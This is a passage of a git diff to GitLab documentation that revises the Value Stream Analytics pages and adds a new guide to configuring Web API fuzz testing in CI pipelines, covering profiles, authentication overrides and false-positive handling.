total stages, where only data deployed to +exception of the staging stage, where only data deployed to production are measured. Specifically, if your CI is not set up and you have not defined a `production` @@ -112,7 +110,6 @@ Each stage of Value Stream Analytics is further described in the table below. | Test | Measures the median time to run the entire pipeline for that project. It's related to the time GitLab CI/CD takes to run every job for the commits pushed to that merge request defined in the previous stage. It is basically the start->finish time for all pipelines. | | Review | Measures the median time taken to review the merge request that has a closing issue pattern, between its creation and until it's merged. | | Staging | Measures the median time between merging the merge request with a closing issue pattern until the very first deployment to production. It's tracked by the environment set to `production` or matching `production/*` (case-sensitive, `Production` won't work) in your GitLab CI/CD configuration. If there isn't a production environment, this is not tracked. | -| Total | The sum of all time (medians) taken to run the entire process, from issue creation to deploying the code to production. [Previously known](https://gitlab.com/gitlab-org/gitlab/-/issues/38317) as **Production**. | How this works, behind the scenes: @@ -131,7 +128,7 @@ Value Stream Analytics dashboard will not present any data for: - Merge requests that do not close an issue. - Issues not labeled with a label present in the Issue Board or for issues not assigned a milestone. -- Staging and production stages, if the project has no `production` or `production/*` +- Staging stage, if the project has no `production` or `production/*` environment. ## Example workflow @@ -158,9 +155,6 @@ environments is configured. request at 19:00. (stop of **Review** stage / start of **Staging** stage). 1. Now that the merge request is merged, a deployment to the `production` environment starts and finishes at 19:30 (stop of **Staging** stage). -1. The cycle completes and the sum of the median times of the previous stages - is recorded to the **Total** stage. That is the time between creating an - issue and deploying its relevant merge request to production. From the above example you can conclude the time it took each stage to complete as long as their total time: @@ -171,10 +165,6 @@ as long as their total time: - **Test**: 5min - **Review**: 5h (19:00 - 14:00) - **Staging**: 30min (19:30 - 19:00) -- **Total**: Since this stage measures the sum of median time of all - previous stages, we cannot calculate it if we don't know the status of the - stages before. In case this is the very first cycle that is run in the project, - then the **Total** time is 10h 30min (19:30 - 09:00) A few notes: @@ -267,7 +257,7 @@ Once a custom stage has been added, you can "drag and drop" stages to rearrange The pre-defined start and end events can cover many use cases involving both issues and merge requests. For supporting more complex workflows, use stages based on group labels. These events are based on -labels being added or removed. In particular, [scoped labels](../project/labels.md#scoped-labels-premium) +labels being added or removed. In particular, [scoped labels](../project/labels.md#scoped-labels) are useful for complex workflows. In this example, we'd like to measure more accurate code review times. The workflow is the following: @@ -313,6 +303,19 @@ To create a value stream:  +### Deleting a value stream + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221205) in GitLab 13.4. + +To delete a custom value stream: + +1. Navigate to your group's **Analytics > Value Stream**. +1. Click the Value stream dropdown and select the value stream you would like to delete. +1. Click the **Delete (name of value stream)**. +1. Click the **Delete** button to confirm. + + + ### Disabling custom value streams Custom value streams are enabled by default. If you have a self-managed instance, an @@ -324,7 +327,8 @@ Feature.disable(:value_stream_analytics_create_multiple_value_streams) ## Days to completion chart -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21631) in GitLab 12.6. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21631) in GitLab 12.6. +> - [Chart median line removed](https://gitlab.com/gitlab-org/gitlab/-/issues/235455) in GitLab 13.4. This chart visually depicts the total number of days it takes for cycles to be completed. @@ -332,15 +336,6 @@ This chart uses the global page filters for displaying data based on the selecte group, projects, and timeframe. In addition, specific stages can be selected from within the chart itself. -### Chart median line - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36675) in GitLab 12.7. - -The median line on the chart displays data that is offset by the number of days selected. -For example, if 30 days worth of data has been selected (for example, 2019-12-16 to 2020-01-15) the -median line will represent the previous 30 days worth of data (2019-11-16 to 2019-12-16) -as a metric to compare against. - ### Disabling chart This chart is enabled by default. If you have a self-managed instance, an @@ -350,18 +345,9 @@ administrator can open a Rails console and disable it with the following command Feature.disable(:cycle_analytics_scatterplot_enabled) ``` -### Disabling chart median line - -This chart's median line is enabled by default. If you have a self-managed instance, an -administrator can open a Rails console and disable it with the following command: - -```ruby -Feature.disable(:cycle_analytics_scatterplot_median_enabled) -``` - -## Type of work - Tasks by type chart +## Type of work - Tasks by type chart **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32421) in GitLab 12.10. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32421) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.10. This chart shows a cumulative count of issues and merge requests per day. @@ -380,7 +366,7 @@ The current permissions on the Project Value Stream Analytics dashboard are: - Internal projects - any authenticated user can access. - Private projects - any member Guest and above can access. -You can [read more about permissions](../../ci/yaml/README.md) in general. +You can [read more about permissions](../../user/permissions.md) in general. For Value Stream Analytics functionality introduced in GitLab 12.3 and later: diff --git a/doc/user/application_security/api_fuzzing/index.md b/doc/user/application_security/api_fuzzing/index.md new file mode 100644 index 00000000000..ae22655e30b --- /dev/null +++ b/doc/user/application_security/api_fuzzing/index.md @@ -0,0 +1,739 @@ +--- +stage: Secure +group: Fuzz Testing +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +type: reference, howto +--- + +# Web API Fuzz Testing **(ULTIMATE)** + +You can add web API fuzzing to your [GitLab CI/CD](../../../ci/README.md) +pipelines. This helps you discover bugs and potential security issues that other QA processes may miss. +API fuzzing performs fuzz testing of API operation parameters. +Fuzz testing sets operation parameters to unexpected values in an effort to cause unexpected behavior and errors in the API backend. + +We recommend that you use fuzz testing in addition to [GitLab Secure](../index.md)'s +other security scanners and your own test processes. If you're using [GitLab CI/CD](../../../ci/README.md), +you can run fuzz tests as part your CI/CD workflow. + +## Requirements + +- One of the following web API types: + - REST API + - SOAP + - GraphQL + - Form bodies, JSON, or XML +- An OpenAPI definition, or HTTP Archive (HAR) of requests to test + +## When fuzzing scans run + +When using the `API-Fuzzing.gitlab-ci.yml` template, the `fuzz` job runs last, as shown here. To +ensure API fuzzing scans the latest code, your CI pipeline should deploy changes to a test +environment in one of the jobs preceding the `fuzz` job: + +```yaml +stages: + - build + - test + - deploy + - fuzz +``` + +Note that if your pipeline is configured to deploy to the same web server on each run, running a +pipeline while another is still running could cause a race condition in which one pipeline +overwrites the code from another. The API to scan should be excluded from changes for the duration +of a fuzzing scan. The only changes to the API should be from the fuzzing scanner. Be aware that +any changes made to the API (for example, by users, scheduled tasks, database changes, code +changes, other pipelines, or other scanners) during a scan could cause inaccurate results. + +## Configuration + +There are two ways to perform scans. See the configuration section for the one you wish to use: + +- [OpenAPI v2 specification](#openapi-specification) +- [HTTP Archive (HAR)](#http-archive-har) + +Examples of both configurations can be found here: + +- [Example OpenAPI v2 specification project](https://gitlab.com/gitlab-org/security-products/demos/api-fuzzing-example/-/tree/openapi) +- [Example HTTP Archive (HAR) project](https://gitlab.com/gitlab-org/security-products/demos/api-fuzzing-example/-/tree/har) + +### OpenAPI Specification + +The [OpenAPI Specification](https://www.openapis.org/) (formerly the Swagger Specification) is an +API description format for REST APIs. This section shows you how to configure API fuzzing by using +an OpenAPI specification to provide information about the target API to test. OpenAPI specifications +are provided as a filesystem resource or URL. + +Follow these steps to configure API fuzzing in GitLab with an OpenAPI specification: + +1. To use API fuzzing, you must [include](../../../ci/yaml/README.md#includetemplate) + the [`API-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml) + that's provided as part of your GitLab installation. To do so, add the following to your + `.gitlab-ci.yml` file: + + ```yaml + include: + - template: API-Fuzzing.gitlab-ci.yml + ``` + +1. Add the configuration file [`gitlab-api-fuzzing-config.yml`](https://gitlab.com/gitlab-org/security-products/analyzers/api-fuzzing/-/blob/master/gitlab-api-fuzzing-config.yml) to your repository's root as `.gitlab-api-fuzzing.yml`. + +1. The [configuration file](#configuration-files) has several testing profiles defined with varying + amounts of fuzzing. We recommend that you start with the `Quick-10` profile. Testing with this + profile completes quickly, allowing for easier configuration validation. + + Provide the profile by adding the `FUZZAPI_PROFILE` variable to your `.gitlab-ci.yml` file, + substituting `Quick-10` for the profile you choose: + + ```yaml + include: + - template: API-Fuzzing.gitlab-ci.yml + + variables: + FUZZAPI_PROFILE: Quick-10 + ``` + +1. Provide the location of the OpenAPI v2 specification. You can provide the specification as a file + or URL. Specify the location by adding the `FUZZAPI_OPENAPI` variable: + + ```yaml + include: + - template: API-Fuzzing.gitlab-ci.yml + + variables: + FUZZAPI_PROFILE: Quick-10 + FUZZAPI_OPENAPI: test-api-specification.json + ``` + +1. The target API instance's base URL is also required. Provide it by using the `FUZZAPI_TARGET_URL` + variable or an `environment_url.txt` file. + + Adding the URL in an `environment_url.txt` file at your project's root is great for testing in + dynamic environments. To run API fuzzing against an app dynamically created during a GitLab CI/CD + pipeline, have the app persist its domain in an `environment_url.txt` file. API fuzzing + automatically parses that file to find its scan target. You can see an + [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml). + + Here's an example of using `FUZZAPI_TARGET_URL`: + + ```yaml + include: + - template: API-Fuzzing.gitlab-ci.yml + + variables: + FUZZAPI_PROFILE: Quick-10 + FUZZAPI_OPENAPI: test-api-specification.json + FUZZAPI_TARGET_URL: http://test-deployment/ + ``` + +This is a minimal configuration for API Fuzzing. From here you can: + +- [Run your first scan](#running-your-first-scan). +- [Add authentication](#authentication). +- Learn how to [handle false positives](#handling-false-positives). + +DANGER: **Danger:** +**NEVER** run fuzz testing against a production server. Not only can it perform *any* function that +the API can, it may also trigger bugs in the API. This includes actions like modifying and deleting +data. Only run fuzzing against a test server. + +### HTTP Archive (HAR) + +The [HTTP Archive format (HAR)](http://www.softwareishard.com/blog/har-12-spec/) +is an archive file format for logging HTTP transactions. When used with GitLab's API fuzzer, HAR +must contain records of calling the web API to test. The API fuzzer extracts all the requests and +uses them to perform testing. + +You can use various tools to generate HAR files: + +- [Fiddler](https://www.telerik.com/fiddler): Web debugging proxy +- [Insomnia Core](https://insomnia.rest/): API client +- [Chrome](https://www.google.com/chrome): Browser +- [Firefox](https://www.mozilla.org/en-US/firefox/): Browser + +DANGER: **Warning:** +HAR files may contain sensitive information such as authentication tokens, API keys, and session +cookies. We recommend that you review the HAR file contents before adding them to a repository. + +Follow these steps to configure API fuzzing to use a HAR file that provides information about the +target API to test: + +1. To use API fuzzing, you must [include](../../../ci/yaml/README.md#includetemplate) + the [`API-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml) + that's provided as part of your GitLab installation. To do so, add the following to your + `.gitlab-ci.yml` file: + + ```yaml + include: + - template: API-Fuzzing.gitlab-ci.yml + ``` + +1. Add the configuration file [`gitlab-api-fuzzing-config.yml`](https://gitlab.com/gitlab-org/security-products/analyzers/api-fuzzing/-/blob/master/gitlab-api-fuzzing-config.yml) to your repository's root as `.gitlab-api-fuzzing.yml`. + +1. The [configuration file](#configuration-files) has several testing profiles defined with varying + amounts of fuzzing. We recommend that you start with the `Quick-10` profile. Testing with this + profile completes quickly, allowing for easier configuration validation. + + Provide the profile by adding the `FUZZAPI_PROFILE` variable to your `.gitlab-ci.yml` file, + substituting `Quick-10` for the profile you choose: + + ```yaml + include: + - template: API-Fuzzing.gitlab-ci.yml + + variables: + FUZZAPI_PROFILE: Quick-10 + ``` + +1. Add the `FUZZAPI_HAR` variable and set it to the HAR file's location: + + ```yaml + include: + - template: API-Fuzzing.gitlab-ci.yml + + variables: + FUZZAPI_PROFILE: Quick-10 + FUZZAPI_HAR: test-api-recording.har + ``` + +1. The target API instance's base URL is also required. Provide it by using the `FUZZAPI_TARGET_URL` + variable or an `environment_url.txt` file. + + Adding the URL in an `environment_url.txt` file at your project's root is great for testing in + dynamic environments. To run API fuzzing against an app dynamically created during a GitLab CI/CD + pipeline, have the app persist its domain in an `environment_url.txt` file. API fuzzing + automatically parses that file to find its scan target. You can see an + [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml). + + Here's an example of using `FUZZAPI_TARGET_URL`: + + ```yaml + include: + - template: API-Fuzzing.gitlab-ci.yml + + variables: + FUZZAPI_PROFILE: Quick-10 + FUZZAPI_HAR: test-api-recording.har + FUZZAPI_TARGET_URL: http://test-deployment/ + ``` + +This is a minimal configuration for API Fuzzing. From here you can: + +- [Run your first scan](#running-your-first-scan). +- [Add authentication](#authentication). +- Learn how to [handle false positives](#handling-false-positives). + +DANGER: **Danger:** +**NEVER** run fuzz testing against a production server. Not only can it perform *any* function that +the API can, it may also trigger bugs in the API. This includes actions like modifying and deleting +data. Only run fuzzing against a test server. + +### Authentication + +Authentication is handled by providing the authentication token as a header or cookie. You can +provide a script that performs an authentication flow or calculates the token. + +#### HTTP Basic Authentication + +[HTTP basic authentication](https://en.wikipedia.org/wiki/Basic_access_authentication) +is an authentication method built into the HTTP protocol and used in-conjunction with +[transport layer security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security). +To use HTTP basic authentication, two variables are added to your `.gitlab-ci.yml` file: + +- `FUZZAPI_HTTP_USERNAME`: The username for authentication. +- `FUZZAPI_HTTP_PASSWORD`: The password for authentication. + +For the password, we recommended that you [create a CI/CD variable](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui) +(for example, `TEST_API_PASSWORD`) set to the password. You can create CI/CD variables from the +GitLab projects page at **Settings > CI/CD**, in the **Variables** section. + +```yaml +include: + - template: API-Fuzzing.gitlab-ci.yml + +variables: + FUZZAPI_PROFILE: Quick-10 + FUZZAPI_HAR: test-api-recording.har + FUZZAPI_TARGET_URL: http://test-deployment/ + FUZZAPI_HTTP_USERNAME: testuser + FUZZAPI_HTTP_PASSWORD: $TEST_API_PASSWORD + +``` + +#### Bearer Tokens + +Bearer tokens are used by several different authentication mechanisms, including OAuth2 and JSON Web +Tokens (JWT). Bearer tokens are transmitted using the `Authorization` HTTP header. To use bearer +tokens with API fuzzing, you need one of the following: + +- A token that doesn't expire +- A way to generate a token that lasts the length of testing +- A Python script that API fuzzing can call to generate the token + +##### Token doesn't expire + +If the bearer token doesn't expire, you can provide it using the `FUZZAPI_OVERRIDES_ENV` variable. +The `FUZZAPI_OVERRIDES_ENV` content is a JSON snippet that provides headers and cookies that should +be added to outgoing HTTP requests made by API fuzzing. + +Create a CI/CD variable, for example `TEST_API_BEARERAUTH`, with the value +`{"headers":{"Authorization":"Bearer dXNlcm5hbWU6cGFzc3dvcmQ="}}` (substitute your token). You can +create CI/CD variables from the GitLab projects page at **Settings > CI/CD** in the **Variables** +section. + +Set `FUZZAPI_OVERRIDES_ENV` in your `.gitlab-ci.yml` file: + +```yaml +include: + - template: API-Fuzzing.gitlab-ci.yml + +variables: + FUZZAPI_PROFILE: Quick-10 + FUZZAPI_OPENAPI: test-api-specification.json + FUZZAPI_TARGET_URL: http://test-deployment/ + FUZZAPI_OVERRIDES_ENV: $TEST_API_BEARERAUTH +``` + +To validate that authentication is working, run an API fuzzing test and review the fuzzing logs and +the test API's application logs. + +##### Token generated at test-runtime + +If the bearer token must be generated, and the resulting token doesn't expire during testing, you +can provide to API fuzzing a file containing the token. This file can be generated by a prior stage +and job, or as part of the API fuzzing job. + +API fuzzing expects to receive a JSON file with the following structure: + +```json +{ + "headers" : { + "Authorization" : "Bearer dXNlcm5hbWU6cGFzc3dvcmQ=" + } +} +``` + +This file can be generated by a prior stage and provided to API fuzzing through the +`FUZZAPI_OVERRIDES_FILE` variable. + +Set `FUZZAPI_OVERRIDES_FILE` in your `.gitlab-ci.yml` file: + +```yaml +include: + - template: API-Fuzzing.gitlab-ci.yml + +variables: + FUZZAPI_PROFILE: Quick + FUZZAPI_OPENAPI: test-api-specification.json + FUZZAPI_TARGET_URL: http://test-deployment/ + FUZZAPI_OVERRIDES_FILE: output/api-fuzzing-overrides.json +``` + +To validate that authentication is working, run an API fuzzing test and review the fuzzing logs and +the test API's application logs. + +##### Token has short expiration + +If the bearer token must be generated and expires prior to the scan's completion, you can provide a +program or script for the API fuzzer to execute on a provided interval. The provided script runs in +an Alpine Linux container that has Python 3 and Bash installed. If the Python script requires +additional packages, it must detect this and install the packages at runtime. + +The script must create a JSON file containing the bearer token in a specific format: + +```json +{ + "headers" : { + "Authorization" : "Bearer dXNlcm5hbWU6cGFzc3dvcmQ=" + } +} +``` + +You must provide three variables, each set for correct operation: + +- `FUZZAPI_OVERRIDES_FILE`: File generated by the provided command. +- `FUZZAPI_OVERRIDES_CMD`: Command to generate JSON file. +- `FUZZAPI_OVERRIDES_INTERVAL`: Interval in seconds to run command. + +```yaml +include: + - template: API-Fuzzing.gitlab-ci.yml + +variables: + FUZZAPI_PROFILE: Quick-10 + FUZZAPI_OPENAPI: test-api-specification.json + FUZZAPI_TARGET_URL: http://test-deployment/ + FUZZAPI_OVERRIDES_FILE: output/api-fuzzing-overrides.json + FUZZAPI_OVERRIDES_CMD: renew_token.py + FUZZAPI_OVERRIDES_INTERVAL: 300 +``` + +To validate that authentication is working, run an API fuzzing test and review the fuzzing logs and +the test API's application logs. + +### Configuration files + +To get started quickly, GitLab provides you with the configuration file +[`gitlab-api-fuzzing-config.yml`](https://gitlab.com/gitlab-org/security-products/analyzers/api-fuzzing/-/blob/master/gitlab-api-fuzzing-config.yml). +This file has several testing profiles that perform various amounts of testing. The run time of each +increases as the numbers go up. To use a configuration file, add it to your repository's root as +`.gitlab-api-fuzzing.yml`. + +| Profile | Scan Type | +|:---------|:-----------| +|Quick-10 |Fuzzing 10 times per parameter | +|Medium-20 |Fuzzing 20 times per parameter | +|Medium-50 |Fuzzing 50 times per parameter | +|Long-100 |Fuzzing 100 times per parameter | + +### Available variables + +| Environment variable | Description | +|-----------------------------|--------------------| +| `FUZZAPI_VERSION` |Specify API Fuzzing container version. Defaults to `latest`. | +| `FUZZAPI_TARGET_URL` |Base URL of API testing target. | +|[`FUZZAPI_CONFIG`](#configuration-files)|API Fuzzing configuration file. Defaults to `.gitlab-apifuzzer.yml`. | +|[`FUZZAPI_PROFILE`](#configuration-files)|Configuration profile to use during testing. Defaults to `Quick`. | +| `FUZZAPI_REPORT` |Scan report filename. Defaults to `gl-api_fuzzing-report.xml`. | +|[`FUZZAPI_OPENAPI`](#openapi-specification)|OpenAPI specification file or URL. | +|[`FUZZAPI_HAR`](#http-archive-har)|HTTP Archive (HAR) file. | +|[`FUZZAPI_OVERRIDES_FILE`](#overrides) |Path to a JSON file containing overrides. | +|[`FUZZAPI_OVERRIDES_ENV`](#overrides) |JSON string containing headers to override. | +|[`FUZZAPI_OVERRIDES_CMD`](#overrides) |Overrides command. | +|[`FUZZAPI_OVERRIDES_INTERVAL`](#overrides) |How often to run overrides command in seconds. Defaults to `0` (once). | +|[`FUZZAPI_HTTP_USERNAME`](#http-basic-authentication) |Username for HTTP authentication. | +|[`FUZZAPI_HTTP_PASSWORD`](#http-basic-authentication) |Password for HTTP authentication. | + +<!--|[`FUZZAPI_D_TARGET_IMAGE`](#target-container) |API target docker image | +|[`FUZZAPI_D_TARGET_ENV`](#target-container) |Docker environment options | +|[`FUZZAPI_D_TARGET_VOLUME`](#target-container)|Docker volume options | +|[`FUZZAPI_D_TARGET_PORTS`](#target-container) |Docker port options | +| `FUZZAPI_D_WORKER_IMAGE` |Custom worker docker image | +| `FUZZAPI_D_WORKER_ENV` |Custom worker docker environment options | +| `FUZZAPI_D_WORKER_VOLUME` |Custom worker docker volume options | +| `FUZZAPI_D_WORKER_PORTS` |Custom worker docker port options | +| `FUZZAPI_D_NETWORK` |Name of docker network, defaults to "testing-net"| +| `FUZZAPI_D_PRE_SCRIPT` |Pre script runs after docker login and docker network create, but before starting the scanning image container.| +| `FUZZAPI_D_POST_SCRIPT` |Post script runs after scanning image container is started. This is the place to start your target(s) and kick off scanning when using an advanced configuration.| --> + +### Overrides + +API Fuzzing provides a method to add or override headers and cookies for all outbound HTTP requests +made. You can use this to inject semver headers, authentication, and so on. The +[authentication section](#authentication) includes examples of using overrides for that purpose. + +Overrides uses a JSON document to define the headers and cookies: + +```json +{ + "headers": { + "header1": "value", + "header2": "value" + }, + "cookies": { + "cookie1": "value", + "cookie2": "value" + } +} +``` + +Example usage for setting a single header: + +```json +{ + "headers": { + "Authorization": "Bearer dXNlcm5hbWU6cGFzc3dvcmQ=" + } +} +``` + +Example usage for setting both a header and cookie: + +```json +{ + "headers": { + "Authorization": "Bearer dXNlcm5hbWU6cGFzc3dvcmQ=" + }, + "cookies": { + "flags": "677" + } +} +``` + +You can provide this JSON document as a file or environment variable. You may also provide a command +to generate the JSON document. The command can run at intervals to support values that expire. + +#### Using a file + +To provide the overrides JSON as a file, the `FUZZAPI_OVERRIDES_FILE` environment variable is set. The path is relative to the job current working directory. + +Example `.gitlab-ci.yml`: + +```yaml +include: + - template: API-Fuzzing.gitlab-ci.yml + +variables: + FUZZAPI_PROFILE: Quick + FUZZAPI_OPENAPI: test-api-specification.json + FUZZAPI_TARGET_URL: http://test-deployment/ + FUZZAPI_OVERRIDES_FILE: output/api-fuzzing-overrides.json +``` + +#### Using an environment variable + +To provide the overrides JSON as an environment variable, use the `FUZZAPI_OVERRIDES_ENV` variable. +This allows you to place the JSON as CI/CD variables that can be masked and protected. + +In this example `.gitlab-ci.yml`, the JSON is provided directly: + +```yaml +include: + - template: API-Fuzzing.gitlab-ci.yml + +variables: + FUZZAPI_PROFILE: Quick + FUZZAPI_OPENAPI: test-api-specification.json + FUZZAPI_TARGET_URL: http://test-deployment/ + FUZZAPI_OVERRIDES_ENV: '{"headers":{"X-API-Version":"2"}}' +``` + +In this example `.gitlab-ci.yml`, the CI/CD variable `SECRET_OVERRIDES` provides the JSON. This is a +[group or instance level environment variable defined in the UI](../../../ci/variables/README.md#instance-level-cicd-environment-variables): + +```yaml +include: + - template: API-Fuzzing.gitlab-ci.yml + +variables: + FUZZAPI_PROFILE: Quick + FUZZAPI_OPENAPI: test-api-specification.json + FUZZAPI_TARGET_URL: http://test-deployment/ + FUZZAPI_OVERRIDES_ENV: $SECRET_OVERRIDES +``` + +#### Using a command + +If the value must be generated or regenerated on expiration, you can provide a program or script for +the API fuzzer to execute on a specified interval. The provided script runs in an Alpine Linux +container that has Python 3 and Bash installed. If the Python script requires additional packages, +it must detect this and install the packages at runtime. The script creates the overrides JSON file +as defined above. + +You must provide three variables, each set for correct operation: + +- `FUZZAPI_OVERRIDES_FILE`: File generated by the provided command. +- `FUZZAPI_OVERRIDES_CMD`: Command to generate JSON file. +- `FUZZAPI_OVERRIDES_INTERVAL`: Interval in seconds to run command. + +```yaml +include: + - template: API-Fuzzing.gitlab-ci.yml + +variables: + FUZZAPI_PROFILE: Quick + FUZZAPI_OPENAPI: test-api-specification.json + FUZZAPI_TARGET_URL: http://test-deployment/ + FUZZAPI_OVERRIDES_FILE: output/api-fuzzing-overrides.json + FUZZAPI_OVERRIDES_CMD: renew_token.py + FUZZAPI_OVERRIDES_INTERVAL: 300 +``` + +## Running your first scan + +When configured correctly, a CI/CD pipeline contains a `Fuzz` stage and a `apifuzzer_fuzz` job. The +job only fails when an invalid configuration is provided. During normal operation, the job always +succeeds even if faults are identified during fuzz testing. + +Faults are displayed on the **Tests** pipeline tab with the suite name **API-Fuzzing**. The **Name** +field on the **Tests** page includes the fuzz-tested operation and parameter. The **Trace** field +contains a writeup of the identified fault. This writeup contains information on what the fuzzer +tested and how it detected something wrong. + +To prevent an excessive number of reported faults, the API fuzzing scanner limits the number of +faults it reports to one per parameter. + +### Fault Writeup + +The faults that API fuzzing finds aren't associated with a specific vulnerability type. They require +investigation to determine what type of issue they are and if they should be fixed. See +[handling false positives](#handling-false-positives) for information about configuration changes +you can make to limit the number of false positives reported. + +This table contains a description of fields in an API fuzzing fault writeup. + +| Writeup Item | Description | +|:-------------|:------------| +| Operation | The operation tested. | +| Parameter | The field modified. This can be a path segment, header, query string, or body element. | +| Endpoint | The endpoint being tested. | +| Check | Check module producing the test. Checks can be turned on and off. | +| Assert | Assert module that detected a failure. Assertions can be configured and turned on and off. | +| CWE | Fuzzing faults always have the same CWE. | +| OWASP | Fuzzing faults always have the same OWASP ID. | +| Exploitability | Fuzzing faults always have an `unknown` exploitability. | +| Impact | Fuzzing faults always have an `unknown` risk impact. | +| Description | Verbose description of what the check did. Includes the original parameter value and the modified (mutated) value. | +| Detection | Why a failure was detected and reported. This is related to the Assert that was used. | +| Original Request | The original, unmodified HTTP request. Useful when reviewing the actual request to see what changes were made. | +| Actual Request | The request that produced the failure. This request has been modified in some way by the Check logic. | +| Actual Response | The response to the actual request. | +| Recorded Request | An unmodified request. | +| Recorded Response | The response to the unmodified request. You can compare this with the actual request when triaging this fault. | + +## Handling False Positives + +False positives can be handled in two ways: + +- Turn off the Check producing the false positive. This prevents the check from generating any + faults. Example checks are the JSON Fuzzing Check, and Form Body Fuzzing Check. +- Fuzzing checks have several methods of detecting when a fault is identified, called _Asserts_. + Asserts can also be turned off and configured. For example, the API fuzzer by default uses HTTP + status codes to help identify when something is a real issue. If an API returns a 500 error during + testing, this creates a fault. This isn't always desired, as some frameworks return 500 errors + often. + +### Turn off a Check + +Checks perform testing of a specific type and can be turned on and off for specific configuration +profiles. The provided [configuration files](#configuration-files) define several profiles that you +can use. The profile definition in the configuration file lists all the checks that are active +during a scan. To turn off a specific check, simply remove it from the profile definition in the +configuration file. The profiles are defined in the `Profiles` section of the configuration file. + +Example profile definition: + +```yaml +Profiles: + - Name: Quick-10 + DefaultProfile: Quick + Routes: + - Route: *Route0 + Checks: + - Name: FormBodyFuzzingCheck + Configuration: + FuzzingCount: 10 + UnicodeFuzzing: true + - Name: GeneralFuzzingCheck + Configuration: + FuzzingCount: 10 + UnicodeFuzzing: true + - Name: JsonFuzzingCheck + Configuration: + FuzzingCount: 10 + UnicodeFuzzing: true + - Name: XmlFuzzingCheck + Configuration: + FuzzingCount: 10 + UnicodeFuzzing: true +``` + +To turn off the General Fuzzing Check you can remove these lines: + +```yaml +- Name: GeneralFuzzingCheck + Configuration: + FuzzingCount: 10 + UnicodeFuzzing: true +``` + +This results in the following YAML: + +```yaml +- Name: Quick-10 + DefaultProfile: Quick + Routes: + - Route: *Route0 + Checks: + - Name: FormBodyFuzzingCheck + Configuration: + FuzzingCount: 10 + UnicodeFuzzing: true + - Name: JsonFuzzingCheck + Configuration: + FuzzingCount: 10 + UnicodeFuzzing: true + - Name: XmlFuzzingCheck + Configuration: + FuzzingCount: 10 + UnicodeFuzzing: true +``` + +### Turn off an Assertion for a Check + +Assertions detect faults in tests produced by checks. Many checks support multiple Assertions such +as Log Analysis, Response Analysis, and Status Code. When a fault is found, the Assertion used is +provided. To identify which Assertions are on by default, see the Checks default configuration in +the configuration file. The section is called `Checks`. + +This example shows the FormBody Fuzzing Check: + +```yaml +Checks: + - Name: FormBodyFuzzingCheck + Configuration: + FuzzingCount: 30 + UnicodeFuzzing: true + Assertions: + - Name: LogAnalysisAssertion + - Name: ResponseAnalysisAssertion + - Name: StatusCodeAssertion +``` + +Here you can see three Assertions are on by default. A common source of false positives is +`StatusCodeAssertion`. To turn it off, modify its configuration in the `Profiles` section. This +example provides only the other two Assertions (`LogAnalysisAssertion`, +`ResponseAnalysisAssertion`). This prevents `FormBodyFuzzingCheck` from using `StatusCodeAssertion`: + +```yaml +Profiles: + - Name: Quick-10 + DefaultProfile: Quick + Routes: + - Route: *Route0 + Checks: + - Name: FormBodyFuzzingCheck + Configuration: + FuzzingCount: 10 + UnicodeFuzzing: true + Assertions: + - Name: LogAnalysisAssertion + - Name: ResponseAnalysisAssertion + - Name: GeneralFuzzingCheck + Configuration: + FuzzingCount: 10 + UnicodeFuzzing: true + - Name: JsonFuzzingCheck + Configuration: + FuzzingCount: 10 + UnicodeFuzzing: true + - Name: XmlInjectionCheck + Configuration: + FuzzingCount: 10 + UnicodeFuzzing: true +``` + +<!-- +### Target Container + +The API Fuzzing template supports launching a docker container containing an API target using docker-in-docker. + +TODO +--> + +## Glossary + +- Assert: Assertions are detection modules used by checks to trigger a fault. Many assertions have + configurations. A check can use multiple Assertions. For example, Log Analysis, Response Analysis, + and Status Code are common Assertions used together by checks. Checks with multiple Assertions + allow them to be turned on and off. +- Check: Performs a specific type of test, or performed a check for a type of vulnerability. For + example, the JSON Fuzzing Check performs fuzz testing of JSON payloads. The API fuzzer is + comprised of several checks. Checks can be turned on and off in a profile. +- Fault: During fuzzing, a failure identified by an Assert is called a fault. Faults are + investigated to determine if they are a security vulnerability, a non-security issue, or a false + positive. Faults don't have a known vulnerability type until they are investigated. Example + vulnerability types are SQL Injection and Denial of Service. +- Profile: A configuration file has one or more testing profiles, or sub-configurations. You may + have a profile for feature branches and another with extra testing for a main branch. diff --git a/doc/user/application_security/configuration/index.md b/doc/user/application_security/configuration/index.md index 1195d07d7b7..a6ad701360e 100644 --- a/doc/user/application_security/configuration/index.md +++ b/doc/user/application_security/configuration/index.md @@ -7,23 +7,41 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Security Configuration **(ULTIMATE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20711) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.6. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20711) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.6. +> - SAST configuration was [enabled](https://gitlab.com/groups/gitlab-org/-/epics/3659) in 13.3 and [improved](https://gitlab.com/gitlab-org/gitlab/-/issues/232862) in 13.4. +> - DAST Profiles feature was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40474) in 13.4. -The Security Configuration page displays the configuration state of each security feature in the -current project. The page uses the project's latest default branch [CI 